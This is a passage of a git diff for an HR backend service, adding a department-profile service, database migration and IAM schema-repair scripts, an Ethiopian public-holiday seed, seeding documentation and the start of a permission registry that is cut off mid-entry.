b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.service.ts @@ -0,0 +1,180 @@ +import { + ConflictException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { UnitHrProfilesRepository } from "./unit-hr-profiles.repository"; +import { UnitHrProfile } from "./entities/unit-hr-profile.entity"; +import { CreateUnitHrProfileDto } from "./dto/upsert-unit-hr-profile.dto"; +import { UpdateUnitHrProfileDto } from "./dto/update-unit-hr-profile.dto"; +import { + IamDirectoryService, + IamUnit, +} from "../../iam-directory/iam-directory.service"; +import { ActorContext, orgScope } from "../employees/employees.service"; + +/** The HR view of a department: the IAM unit plus its HR satellite. */ +export type DepartmentView = UnitHrProfile & { unit: IamUnit | null }; + +@Injectable() +export class UnitHrProfilesService { + constructor( + private readonly repository: UnitHrProfilesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + async create( + dto: CreateUnitHrProfileDto, + actor: ActorContext, + ): Promise { + const unit = await this.iamDirectory.requireUnit(dto.unitId); + + // The unit must be the caller's own. Without this, a department created + // against another tenant's unit is scoped to that tenant's organization and + // is then invisible to every read here — the creator cannot see the row they + // just made. (Observed against the live database.) + if (!actor.isSuperAdmin && unit.organizationId !== actor.organizationId) { + throw new ForbiddenException( + `Unit ${dto.unitId} belongs to another organization`, + ); + } + + const existing = await this.repository.findByUnitId(dto.unitId); + if (existing) { + throw new ConflictException( + `Unit ${dto.unitId} already has HR profile ${existing.id}`, + ); + } + if (dto.costCentreCode) { + await this.assertCostCentreFree( + unit.organizationId, + dto.costCentreCode, + null, + ); + } + if (dto.headEmployeeId) { + await this.iamDirectory.requireEmployee(dto.headEmployeeId); + } + + // The organization is not stored — it belongs to the IAM unit. + const profile = await this.repository.create({ + ...dto, + createdBy: actor.userId, + }); + return { ...profile, unit }; + } + + async update( + id: string, + dto: UpdateUnitHrProfileDto, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + + if (dto.costCentreCode && dto.costCentreCode !== profile.costCentreCode) { + const unit = await this.iamDirectory.findUnit(profile.unitId); + await this.assertCostCentreFree( + unit?.organizationId ?? "", + dto.costCentreCode, + profile.id, + ); + } + if (dto.headEmployeeId) { + await this.iamDirectory.requireEmployee(dto.headEmployeeId); + } + + const updated = (await this.repository.update(id, dto)) ?? profile; + return { + ...updated, + unit: await this.iamDirectory.findUnit(updated.unitId), + }; + } + + /** + * Every department, joined to its IAM unit in one batch. The list is small + * (departments, not employees), so it is returned unpaginated — the org chart + * needs the whole tree at once. + */ + async findAll( + actor: ActorContext, + isHrActive?: boolean, + ): Promise { + const profiles = await this.repository.findAllForOrganization( + orgScope(actor), + isHrActive, + ); + const units = await this.iamDirectory.findUnits( + profiles.map((p) => p.unitId), + ); + return profiles.map((profile) => ({ + ...profile, + unit: units.get(profile.unitId) ?? null, + })); + } + + async findOne(id: string, actor: ActorContext): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + return { ...profile, unit: await this.iamDirectory.findUnit(profile.unitId) }; + } + + /** By IAM unit id — how other modules ask "what is this department's cost centre?" */ + async findByUnit( + unitId: string, + actor: ActorContext, + ): Promise { + const profile = await this.repository.findByUnitId(unitId); + if (!profile) throw new NotFoundException(`Unit ${unitId} has no HR profile`); + const unit = await this.iamDirectory.findUnit(unitId); + if (!actor.isSuperAdmin && unit?.organizationId !== actor.organizationId) { + throw new NotFoundException(`Unit ${unitId} has no HR profile`); + } + return { ...profile, unit }; + } + + async remove(id: string, actor: ActorContext): Promise { + await this.requireProfile(id, orgScope(actor)); + await this.repository.softDelete(id); + } + + /** + * A cost centre must identify one department, or payroll journals would post + * two departments' salary expense to the same Finance account with no way to + * split them back out. + */ + private async assertCostCentreFree( + organizationId: string, + costCentreCode: string, + exceptProfileId: string | null, + ): Promise { + const clash = await this.repository.findByCostCentre( + organizationId, + costCentreCode, + ); + if (clash && clash.id !== exceptProfileId) { + throw new ConflictException( + `Cost centre ${costCentreCode} is already used by unit ${clash.unitId}`, + ); + } + } + + /** `organizationId: null` = no scoping (super admin). */ + private async requireProfile( + id: string, + organizationId: string | null, + ): Promise { + const profile = await this.repository.findById(id); + if (!profile) { + throw new NotFoundException(`Department HR profile ${id} not found`); + } + // Tenancy comes from the IAM unit, not from a copy stored here. + if (organizationId) { + const unit = await this.iamDirectory.findUnit(profile.unitId); + if (unit?.organizationId !== organizationId) { + throw new NotFoundException(`Department HR profile ${id} not found`); + } + } + return profile; + } +} diff --git a/apps/edr-hr-api/src/scripts/iam-ddl/missing-tables.json b/apps/edr-hr-api/src/scripts/iam-ddl/missing-tables.json new file mode 100644 index 000000000..99fcc669a --- /dev/null +++ b/apps/edr-hr-api/src/scripts/iam-ddl/missing-tables.json @@ -0,0 +1,43 @@ +{ + "employee_position_active_periods": { + "create": [ + "CREATE TABLE \"iam\".\"employee_position_active_periods\" (\"created_at\" TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), \"updated_at\" TIMESTAMP WITH TIME ZONE DEFAULT now(), \"id\" uuid NOT NULL DEFAULT uuid_generate_v4(), \"employee_position_id\" uuid NOT NULL, \"start_date\" TIMESTAMP WITH TIME ZONE NOT NULL, \"amharic_start_date\" text, \"end_date\" TIMESTAMP WITH TIME ZONE, \"amharic_end_date\" text, CONSTRAINT \"PK_0d10cb53e1f0ce90441ca2d7f95\" PRIMARY KEY (\"id\"))" + ], + "constraints": [ + "ALTER TABLE \"iam\".\"employee_position_active_periods\" ADD CONSTRAINT \"FK_0d1f5abe0aac49e1bdd6555d68a\" FOREIGN KEY (\"employee_position_id\") REFERENCES \"iam\".\"employee_positions\"(\"id\") ON DELETE CASCADE ON UPDATE NO ACTION" + ] + }, + "unit_configurations": { + "create": [ + "CREATE TABLE \"iam\".\"unit_configurations\" (\"created_at\" TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), \"updated_at\" TIMESTAMP WITH TIME ZONE DEFAULT now(), \"id\" uuid NOT NULL DEFAULT uuid_generate_v4(), \"isMultipleDelegationAllowed\" boolean NOT NULL DEFAULT false, \"internalSuffix\" jsonb, \"internalPrefix\" jsonb, \"internalSuffixCC\" jsonb, \"internalPrefixCC\" jsonb, \"reference_number_prefix\" jsonb, \"external_reference_number_prefix\" jsonb, \"internal_memo_reference_number_prefix\" jsonb, \"internal_memo_has_reference_number\" boolean NOT NULL DEFAULT false, \"escalation_hour\" integer, \"urgent_letter_escalation_hour\" integer, \"on_review_letter_escalation_hour\" integer, \"urgent_on_review_letter_escalation_hour\" integer, \"escalation_notification_type\" character varying NOT NULL DEFAULT 'JUMP', \"escalation_notification_channel\" character varying NOT NULL DEFAULT 'INBOX', \"should_collaborator_always_sign\" boolean NOT NULL DEFAULT false, \"wait_all_collaborators_before_action\" boolean NOT NULL DEFAULT false, \"should_direct_record_have_header_and_footer\" boolean NOT NULL DEFAULT true, \"can_create_direct_record\" boolean NOT NULL DEFAULT false, \"should_include_for_your_reference_in_cc\" boolean NOT NULL DEFAULT false, \"forward_with_teeter_signature\" boolean NOT NULL DEFAULT false, \"attach_signature_on_attachment\" boolean NOT NULL DEFAULT false, \"can_ro_return\" boolean NOT NULL DEFAULT true, \"can_record_be_edited_by_collaborators\" boolean NOT NULL DEFAULT false, \"can_record_have_collaborators_name\" boolean NOT NULL DEFAULT false, \"can_record_be_edited_on_workflow\" boolean NOT NULL DEFAULT false, \"can_internal_memo_require_position_based_reference_number\" boolean NOT NULL DEFAULT false, \"unit_id\" uuid NOT NULL, \"position_scope_to_fetch\" character varying NOT NULL DEFAULT 'all', \"can_collaboration_be_created_for_all\" boolean NOT NULL DEFAULT false, \"can_position_based_records_be_created\" boolean NOT NULL DEFAULT true, \"can_position_based_reference_be_used_for_all_types\" boolean NOT NULL DEFAULT false, \"can_record_date_have_time\" boolean NOT NULL DEFAULT true, \"can_assign_custom_reference_number\" boolean NOT NULL DEFAULT false, \"can_internal_memos_have_sender_information\" boolean NOT NULL DEFAULT false, \"sender_information_scope\" character varying, \"can_incoming_assignments_be_separated\" boolean NOT NULL DEFAULT true, \"can_record_date_label_has_localization\" boolean NOT NULL DEFAULT false, \"reference_number_count_first\" boolean NOT NULL DEFAULT true, \"can_user_skip_level\" boolean NOT NULL DEFAULT false, \"can_user_add_external_for_your_reference\" boolean NOT NULL DEFAULT false, \"can_have_tag_based_reference_number\" boolean NOT NULL DEFAULT false, \"can_create_bank_related_records\" boolean NOT NULL DEFAULT false, \"can_send_to_branch\" boolean NOT NULL DEFAULT false, CONSTRAINT \"REL_05b0fc48a3fd6a3e1479b88f87\" UNIQUE (\"unit_id\"), CONSTRAINT \"PK_fe6be95e01855813ca0af3445fb\" PRIMARY KEY (\"id\"))" + ], + "constraints": [ + "ALTER TABLE \"iam\".\"unit_configurations\" ADD CONSTRAINT \"FK_05b0fc48a3fd6a3e1479b88f871\" FOREIGN KEY (\"unit_id\") REFERENCES \"iam\".\"units\"(\"id\") ON DELETE CASCADE ON UPDATE NO ACTION" + ] + }, + "delegation_termination_reasons": { + "create": [ + "CREATE TABLE \"iam\".\"delegation_termination_reasons\" (\"created_at\" TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), \"updated_at\" TIMESTAMP WITH TIME ZONE DEFAULT now(), \"id\" uuid NOT NULL DEFAULT uuid_generate_v4(), \"employee_position_id\" uuid NOT NULL, \"terminated_at\" TIMESTAMP WITH TIME ZONE NOT NULL, \"comment\" text, \"terminator_employee_position_id\" uuid, CONSTRAINT \"REL_498cf441c3b3663d1c6b01872b\" UNIQUE (\"employee_position_id\"), CONSTRAINT \"PK_9d2e940447154e9353d45c0fc11\" PRIMARY KEY (\"id\"))" + ], + "constraints": [ + "ALTER TABLE \"iam\".\"delegation_termination_reasons\" ADD CONSTRAINT \"FK_498cf441c3b3663d1c6b01872b8\" FOREIGN KEY (\"employee_position_id\") REFERENCES \"iam\".\"employee_positions\"(\"id\") ON DELETE NO ACTION ON UPDATE NO ACTION", + "ALTER TABLE \"iam\".\"delegation_termination_reasons\" ADD CONSTRAINT \"FK_eb8148fa3bb2477067a5fb82861\" FOREIGN KEY (\"terminator_employee_position_id\") REFERENCES \"iam\".\"employee_positions\"(\"id\") ON DELETE NO ACTION ON UPDATE NO ACTION" + ] + }, + "sites": { + "create": [ + "CREATE TABLE \"iam\".\"sites\" (\"created_at\" TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), \"updated_at\" TIMESTAMP WITH TIME ZONE DEFAULT now(), \"deleted_at\" TIMESTAMP, \"id\" uuid NOT NULL DEFAULT uuid_generate_v4(), \"name\" jsonb NOT NULL, \"key\" character varying NOT NULL, \"domain\" character varying NOT NULL, CONSTRAINT \"UQ_9f5e8302b0fb055905d66f597b9\" UNIQUE (\"key\"), CONSTRAINT \"PK_4f5eccb1dfde10c9170502595a7\" PRIMARY KEY (\"id\"))" + ], + "constraints": [ + "ALTER TABLE \"iam\".\"site_settings\" ADD CONSTRAINT \"FK_705b370fb82e1d77872d6b0afcc\" FOREIGN KEY (\"site_id\") REFERENCES \"iam\".\"sites\"(\"id\") ON DELETE CASCADE ON UPDATE NO ACTION" + ] + }, + "site_settings": { + "create": [ + "CREATE TABLE \"iam\".\"site_settings\" (\"created_at\" TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), \"updated_at\" TIMESTAMP WITH TIME ZONE DEFAULT now(), \"id\" uuid NOT NULL DEFAULT uuid_generate_v4(), \"site_id\" uuid NOT NULL, \"key\" character varying NOT NULL, \"display_name\" character varying NOT NULL, \"type\" character varying NOT NULL DEFAULT 'value', \"value\" character varying, \"metadata\" jsonb, CONSTRAINT \"PK_e4290e8371a166d7e066d131f6e\" PRIMARY KEY (\"id\"))" + ], + "constraints": [ + "ALTER TABLE \"iam\".\"site_settings\" ADD CONSTRAINT \"FK_705b370fb82e1d77872d6b0afcc\" FOREIGN KEY (\"site_id\") REFERENCES \"iam\".\"sites\"(\"id\") ON DELETE CASCADE ON UPDATE NO ACTION" + ] + } +} \ No newline at end of file diff --git a/apps/edr-hr-api/src/scripts/migrate.ts b/apps/edr-hr-api/src/scripts/migrate.ts new file mode 100644 index 000000000..1d6e17012 --- /dev/null +++ b/apps/edr-hr-api/src/scripts/migrate.ts @@ -0,0 +1,55 @@ +import "reflect-metadata"; +import "dotenv/config"; +import { DataSource } from "typeorm"; + +import { buildHrMigrationDataSourceOptions } from "../config/database.config"; +import { + APPLICATION_SEARCH_PATH, + ensurePostgresSchemas, +} from "../config/ensure-postgres-schemas"; + +/** + * One-shot migration runner. Migrations never run on API boot (house rule), so + * this is the only path that applies them — CI runs it before deploying the app + * image. + * + * Note this compiles to `dist/scripts/migrate.js` and the migrations glob only + * matches `dist/migrations/*.js`. Running it through ts-node would apply zero + * migrations while exiting 0 — the same trap documented for freight. + */ +async function run(): Promise { + const options = buildHrMigrationDataSourceOptions(); + await ensurePostgresSchemas(options); + + const dataSource = new DataSource(options); + await dataSource.initialize(); + + const pool = (dataSource.driver as { master?: unknown }).master as + | { on?: (event: string, cb: (client: unknown) => void) => void } + | undefined; + if (pool?.on) { + pool.on("connect", (client) => { + (client as { query: (sql: string) => Promise }) + .query(`SET search_path TO ${APPLICATION_SEARCH_PATH}`) + .catch(() => { + /* validated on first real query */ + }); + }); + } + + const applied = await dataSource.runMigrations({ transaction: "each" }); + if (applied.length === 0) { + console.log("hr: no pending migrations"); + } else { + for (const migration of applied) { + console.log(`hr: applied ${migration.name}`); + } + } + + await dataSource.destroy(); +} + +run().catch((err) => { + console.error("hr migration failed:", err); + process.exit(1); +}); diff --git a/apps/edr-hr-api/src/scripts/repair-iam-schema.ts b/apps/edr-hr-api/src/scripts/repair-iam-schema.ts new file mode 100644 index 000000000..78488b225 --- /dev/null +++ b/apps/edr-hr-api/src/scripts/repair-iam-schema.ts @@ -0,0 +1,201 @@ +import "reflect-metadata"; +import "dotenv/config"; +import { DataSource } from "typeorm"; + +import { readFileSync } from "fs"; +import { join } from "path"; + +import { buildDataSourceOptions } from "../config/database.config"; + +/** + * DDL for tables the drifted schema is missing, extracted VERBATIM from + * `@tria-plc/iamapi-common`'s own `1785530375522-IAMUpdate` migration — not + * written by hand. Guessing at IAM's schema would be exactly the fork this app + * exists to avoid; copying the vendor's own statements is not a guess. + * + * Applied only when the table is absent, and only with CREATE_MISSING_TABLES=1, + * because creating tables is a bigger claim than adding a nullable column. + */ +type MissingTableDdl = Record< + string, + { create: string[]; constraints: string[] } +>; + +/** + * STOPGAP — reports and repairs `iam` schema drift. + * + * On databases restored from a dump taken before the current + * `@tria-plc/iamapi-common` release, tables are missing columns their entities + * declare. TypeORM emits those columns in every generated query, so the failure + * is not subtle — the endpoint 500s outright: + * + * column Position.deleted_at does not exist + * column ...employeePositions.delegatee_position_id does not exist + * + * That breaks IAM's own units/positions/organizations endpoints, not just HR's. + * + * Rather than patch columns one crash at a time, this walks TypeORM's entity + * metadata — every IAM entity this app registers — and compares it against + * information_schema. It is deliberately conservative: + * + * ADDED nullable columns whose table exists. Purely additive. + * REPORTED NOT NULL columns (a safe default has to be a human decision), + * and missing tables (their full DDL belongs to IAM's migration, + * not to a guess made here). + * NEVER drops, renames or retypes anything. The vendor migration reaches + * the same end state for `organizations` destructively — + * RENAME property_assets_id → deleted_at, then DROP it — which + * would lose data on any database where that column is populated. + * + * OWNERSHIP: HR does not own the `iam` schema and this is NOT an HR migration — + * nothing is recorded in `hr.migrations`. It exists so a drifted environment can + * run locally. The real fix is the IAM owner running their migration chain; + * afterwards this reports "no drift" and does nothing. + * + * Run with REPORT_ONLY=1 to see the drift without changing anything. + */ +const REPORT_ONLY = process.env.REPORT_ONLY === "1"; +const CREATE_MISSING_TABLES = process.env.CREATE_MISSING_TABLES === "1"; + +function loadMissingTableDdl(): MissingTableDdl { + try { + return JSON.parse( + readFileSync(join(__dirname, "iam-ddl", "missing-tables.json"), "utf8"), + ) as MissingTableDdl; + } catch { + return {}; + } +} + +async function run(): Promise { + const dataSource = new DataSource(buildDataSourceOptions()); + await dataSource.initialize(); + + const added: string[] = []; + const created: string[] = []; + const needsDecision: string[] = []; + const missingTables: string[] = []; + + try { + for (const meta of dataSource.entityMetadatas) { + if (meta.schema !== "iam" || !meta.tableName) continue; + + const [table] = await dataSource.query<{ one: number }[]>( + `SELECT 1 AS one FROM information_schema.tables + WHERE table_schema = 'iam' AND table_name = $1`, + [meta.tableName], + ); + if (!table) { + const ddl = loadMissingTableDdl()[meta.tableName]; + if (CREATE_MISSING_TABLES && !REPORT_ONLY && ddl) { + for (const statement of ddl.create) { + await dataSource.query(statement); + } + // Foreign keys go on after the table, and are tolerated failing: + // a constraint may reference another table this database also lacks. + for (const statement of ddl.constraints) { + await dataSource + .query(statement) + .catch((err: Error) => + console.warn( + ` ~ iam.${meta.tableName}: constraint skipped — ${err.message.slice(0, 90)}`, + ), + ); + } + created.push(`iam.${meta.tableName}`); + continue; + } + missingTables.push( + `iam.${meta.tableName}${ddl ? " (vendor DDL available — CREATE_MISSING_TABLES=1)" : " (no vendor DDL on hand)"}`, + ); + continue; + } + + const existing = await dataSource.query<{ column_name: string }[]>( + `SELECT column_name FROM information_schema.columns + WHERE table_schema = 'iam' AND table_name = $1`, + [meta.tableName], + ); + const present = new Set(existing.map((row) => row.column_name)); + + for (const column of meta.columns) { + // Relation-only and virtual columns have no storage of their own. + if (column.isVirtual) continue; + if (present.has(column.databaseName)) continue; + + const sqlType = dataSource.driver.normalizeType({ + type: column.type, + length: column.length, + precision: column.precision, + scale: column.scale, + }); + const target = `iam.${meta.tableName}.${column.databaseName}`; + + // A NOT NULL column can still be added safely IF the entity declares a + // default — existing rows take it, which is exactly what the vendor + // migration does (`ADD "can_assign_record" boolean NOT NULL DEFAULT + // false`). Without one there is no safe value to invent, so it is + // reported instead. + const hasDefault = column.default !== undefined && column.default !== null; + if (!column.isNullable && !hasDefault) { + needsDecision.push(`${target} (${sqlType}, NOT NULL, no default)`); + continue; + } + + const literal = + typeof column.default === "string" && !column.default.startsWith("(") + ? `'${column.default}'` + : String(column.default); + const suffix = column.isNullable + ? "" + : ` NOT NULL DEFAULT ${literal}`; + + if (!REPORT_ONLY) { + await dataSource.query( + `ALTER TABLE "iam"."${meta.tableName}" + ADD COLUMN IF NOT EXISTS "${column.databaseName}" ${sqlType}${suffix}`, + ); + } + added.push(`${target} (${sqlType}${suffix})`); + } + } + + const verb = REPORT_ONLY ? "would add" : "added"; + console.log(`iam schema repair — ${verb} ${added.length} column(s)`); + added.forEach((c) => console.log(` + ${c}`)); + + if (needsDecision.length) { + console.warn( + `\n${needsDecision.length} NOT NULL column(s) missing — NOT added, ` + + `each needs a backfill decision:`, + ); + needsDecision.forEach((c) => console.warn(` ! ${c}`)); + } + if (created.length) { + console.log(`\ncreated ${created.length} table(s) from IAM's own migration DDL:`); + created.forEach((t) => console.log(` + ${t}`)); + } + if (missingTables.length) { + console.warn( + `\n${missingTables.length} table(s) missing entirely — NOT created, ` + + `they need IAM's own migration:`, + ); + missingTables.forEach((t) => console.warn(` ! ${t}`)); + } + if ( + !added.length && + !created.length && + !needsDecision.length && + !missingTables.length + ) { + console.log("no drift — the iam schema matches the registered entities"); + } + } finally { + await dataSource.destroy(); + } +} + +run().catch((err) => { + console.error("iam schema repair failed:", err); + process.exit(1); +}); diff --git a/apps/edr-hr-api/src/scripts/seed-holidays.ts b/apps/edr-hr-api/src/scripts/seed-holidays.ts new file mode 100644 index 000000000..81548d329 --- /dev/null +++ b/apps/edr-hr-api/src/scripts/seed-holidays.ts @@ -0,0 +1,239 @@ +import "reflect-metadata"; +import "dotenv/config"; +import { DataSource } from "typeorm"; + +import { buildDataSourceOptions } from "../config/database.config"; + +/** + * National holiday seed. + * + * These are stored as concrete dates because they cannot be derived. Three + * different calendars are in play and only one of them is Gregorian: + * + * - Ethiopian-calendar holidays (Christmas, Timkat, New Year, Meskel) sit on + * fixed Ethiopian dates that land on a Gregorian date one day later in the + * year before a Gregorian leap year. New Year is 11 September in 2026 and + * 12 September in 2027 for exactly that reason. + * - Orthodox Easter and Good Friday are computed on the Julian paschal cycle + * and move by weeks. 12 April 2026, 2 May 2027. + * - The Islamic holidays follow a lunar year about eleven days shorter than the + * Gregorian one and are confirmed by sighting. Every one of them is flagged + * `is_estimated` — they are good enough to plan a leave request against and + * NOT good enough to run payroll on without confirming. + * + * Verify each year against the official Federal Negarit Gazeta announcement + * before the year opens. Re-running is safe: the seed skips dates that already + * exist and never overwrites a corrected one. + */ +interface HolidaySeed { + observedOn: string; + name: { am: string; en: string }; + holidayType: "PUBLIC" | "RELIGIOUS"; + isEstimated?: boolean; +} + +const HOLIDAYS: Record = { + "2026": [ + { + observedOn: "2026-01-07", + name: { am: "ገና", en: "Ethiopian Christmas (Genna)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2026-01-19", + name: { am: "ጥምቀት", en: "Timkat (Epiphany)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2026-03-02", + name: { am: "የአድዋ ድል በዓል", en: "Adwa Victory Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2026-03-20", + name: { am: "ኢድ አል ፈጥር", en: "Eid al-Fitr" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + observedOn: "2026-04-10", + name: { am: "ስቅለት", en: "Good Friday (Siklet)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2026-04-12", + name: { am: "ትንሳኤ", en: "Ethiopian Easter (Fasika)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2026-05-01", + name: { am: "የሠራተኞች ቀን", en: "International Labour Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2026-05-05", + name: { am: "የአርበኞች ቀን", en: "Patriots' Victory Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2026-05-27", + name: { am: "ኢድ አል አድሃ (አረፋ)", en: "Eid al-Adha (Arefa)" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + observedOn: "2026-05-28", + name: { am: "ደርግ የወደቀበት ቀን", en: "Downfall of the Derg" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2026-08-25", + name: { am: "መውሊድ", en: "Mawlid (Birth of the Prophet)" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + observedOn: "2026-09-11", + name: { am: "እንቁጣጣሽ", en: "Ethiopian New Year (Enkutatash)" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2026-09-27", + name: { am: "መስቀል", en: "Meskel (Finding of the True Cross)" }, + holidayType: "RELIGIOUS", + }, + ], + "2027": [ + { + observedOn: "2027-01-07", + name: { am: "ገና", en: "Ethiopian Christmas (Genna)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2027-01-19", + name: { am: "ጥምቀት", en: "Timkat (Epiphany)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2027-03-02", + name: { am: "የአድዋ ድል በዓል", en: "Adwa Victory Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2027-03-10", + name: { am: "ኢድ አል ፈጥር", en: "Eid al-Fitr" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + observedOn: "2027-04-30", + name: { am: "ስቅለት", en: "Good Friday (Siklet)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2027-05-01", + name: { am: "የሠራተኞች ቀን", en: "International Labour Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2027-05-02", + name: { am: "ትንሳኤ", en: "Ethiopian Easter (Fasika)" }, + holidayType: "RELIGIOUS", + }, + { + observedOn: "2027-05-05", + name: { am: "የአርበኞች ቀን", en: "Patriots' Victory Day" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2027-05-17", + name: { am: "ኢድ አል አድሃ (አረፋ)", en: "Eid al-Adha (Arefa)" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + observedOn: "2027-05-28", + name: { am: "ደርግ የወደቀበት ቀን", en: "Downfall of the Derg" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2027-08-15", + name: { am: "መውሊድ", en: "Mawlid (Birth of the Prophet)" }, + holidayType: "RELIGIOUS", + isEstimated: true, + }, + { + // 12 September, not 11: 2028 is a Gregorian leap year and the Ethiopian + // New Year shifts a day in the year before one. + observedOn: "2027-09-12", + name: { am: "እንቁጣጣሽ", en: "Ethiopian New Year (Enkutatash)" }, + holidayType: "PUBLIC", + }, + { + observedOn: "2027-09-28", + name: { am: "መስቀል", en: "Meskel (Finding of the True Cross)" }, + holidayType: "RELIGIOUS", + }, + ], +}; + +async function main(): Promise { + const years = process.argv.slice(2).filter((arg) => /^\d{4}$/.test(arg)); + const targets = years.length ? years : Object.keys(HOLIDAYS); + + const dataSource = new DataSource(buildDataSourceOptions()); + await dataSource.initialize(); + + let created = 0; + let skipped = 0; + + try { + for (const year of targets) { + const seeds = HOLIDAYS[year]; + if (!seeds) { + console.log(` ! no holiday data for ${year} — add it to this script`); + continue; + } + + for (const seed of seeds) { + // ON CONFLICT would need the partial unique index's exact predicate; + // an existence check is clearer and this runs once a year. + const [existing] = await dataSource.query<{ id: string }[]>( + `SELECT id FROM hr.holidays + WHERE organization_id IS NULL + AND observed_on = $1::date + AND deleted_at IS NULL`, + [seed.observedOn], + ); + if (existing) { + skipped += 1; + continue; + } + + await dataSource.query( + `INSERT INTO hr.holidays + (organization_id, observed_on, name, holiday_type, is_estimated) + VALUES (NULL, $1::date, $2::jsonb, $3, $4)`, + [ + seed.observedOn, + JSON.stringify(seed.name), + seed.holidayType, + seed.isEstimated ?? false, + ], + ); + created += 1; + const flag = seed.isEstimated ? " (estimated)" : ""; + console.log(` + ${seed.observedOn} ${seed.name.en}${flag}`); + } + } + + console.log(`\nholidays: ${created} created, ${skipped} already present`); + } finally { + await dataSource.destroy(); + } +} + +main().catch((error) => { + console.error(error); + process.exit(1); +}); diff --git a/apps/edr-hr-api/src/seed/README.md b/apps/edr-hr-api/src/seed/README.md new file mode 100644 index 000000000..c125ea9e8 --- /dev/null +++ b/apps/edr-hr-api/src/seed/README.md @@ -0,0 +1,42 @@ +# HR seed data + +`hr-permissions.registry.ts` is the whole of it: the `hr` application, five HR +roles, the permission catalogue, and the role → permission matrix. + +It reaches the database through `IamModule.forRoot({...})` in `app.module.ts` — +the platform's intended mechanism, the same one `edr-passenger-api` and +`edr-freight-api` use to contribute their own applications and permissions. +IAM's `DataSeeder` applies it: + +```bash +pnpm build && pnpm seed:hr +``` + +Two things to know before running it: + +1. **The CLI runs IAM's full `DataSeeder`, not just HR's contribution.** It + upserts the built-in IAM baseline — roles, applications, position types, org + types, the super admin — alongside the HR entries. That is idempotent, but it + means `pnpm seed:hr` is not a narrow HR-only operation: on a shared database + it touches IAM rows that `edr-freight-api`'s seeder also owns. Coordinate + before running it against anything shared. + + (An earlier version of this app carried a bespoke SQL upserter to avoid that. + It was removed when `IamModule` was embedded: two seeding mechanisms for the + same rows is worse than one broad one, and the bespoke path would drift from + whatever the package does next.) + +2. **Permission changes do not take effect until the session refreshes.** The JWT + carries a session id; the permission set is a snapshot in + `iam.sessions."userInfo"`, built at login. Granting `hr_manager` to a + signed-in user changes nothing until they sign in again. Any endpoint that + assigns HR roles must expire the target's sessions, or the grant silently + no-ops: + + ```sql + UPDATE iam.sessions SET status = 'EXPIRED' + WHERE "userInfo"->>'id' = $1; + ``` + +IDs in the registry are stable by contract — the seeder upserts by id, so +editing one orphans every grant already issued against it. diff --git a/apps/edr-hr-api/src/seed/hr-permissions.registry.ts b/apps/edr-hr-api/src/seed/hr-permissions.registry.ts new file mode 100644 index 000000000..49e408af0 --- /dev/null +++ b/apps/edr-hr-api/src/seed/hr-permissions.registry.ts @@ -0,0 +1,386 @@ +/** + * HR permission catalogue. + * + * Keys follow the IAM convention already in use across the platform + * (`can::`), and every one is scoped to the `hr` application so + * it can be granted independently of freight/passenger keys. + * + * IDs are stable and MUST NEVER change — the IAM seeder upserts by id, so editing + * one orphans every grant already issued against it. + */ + + +/** + * IAM's OWN permission keys, re-exported for use on HR routes. + * + * Per the platform decision: an action that is purely an IAM operation is gated + * on IAM's key, not on a parallel HR one. Two keys for one action means a user + * can pass HR's check, see an enabled button, and then be refused by IAM naming + * a key they have never heard of. These values are a wire contract with + * @tria-plc/iamapi-common's EIamPermissionKey — they are duplicated as literals + * rather than imported so a package bump cannot silently change what a route + * requires without a visible diff here. + */ +export const IAM_PERMS = { + unit: { + create: "can:create:unit", + update: "can:update:unit", + delete: "can:delete:unit", + }, + org: { + findAll: "can:find_all:organization", + update: "can:update:organization", + }, + employee: { + create: "can:createEmployee", + activate: "can:activateEmployee", + deactivate: "can:deactivateEmployee", + }, + position: { + createPermission: "can:create:position_permission", + viewPermission: "can:view:position_permission", + }, +} as const; + +export const HR_APPLICATION = { + id: "d9632839-c6be-5809-8266-7614468b5829", + key: "hr", + name: { am: "የሰው ሀብት አስተዳደር", en: "Human Resources" }, +} as const; + +export type HrPermissionSeed = { + id: string; + key: string; + name: { am: string; en: string }; + applicationKey: string; +}; + +export type HrRoleSeed = { + id: string; + key: string; + name: { am: string; en: string }; +}; + +export type HrRolePermissionSeed = { + roleKey: string; + permissionKeys: string[]; +}; + +const perm = ( + id: string, + key: string, + am: string, + en: string, +): HrPermissionSeed => ({ + id, + key, + name: { am, en }, + applicationKey: HR_APPLICATION.key, +}); + +/** + * The keys controllers reference. Module 3.1 implements the `employee` and `org` + * groups; the leave/attendance/payroll/recruitment/appraisal groups are declared + * here because the role→permission matrix and the IAM seed are one unit — a role + * cannot be granted a key that does not exist yet — and 3.2–3.6 attach routes to + * keys that are already seeded rather than re-seeding on every sub-module. + */ +export const HR_PERMS = { + employeeProfile: { + create: "can:create:employee_profile", + view: "can:view:employee_profile", + viewOwn: 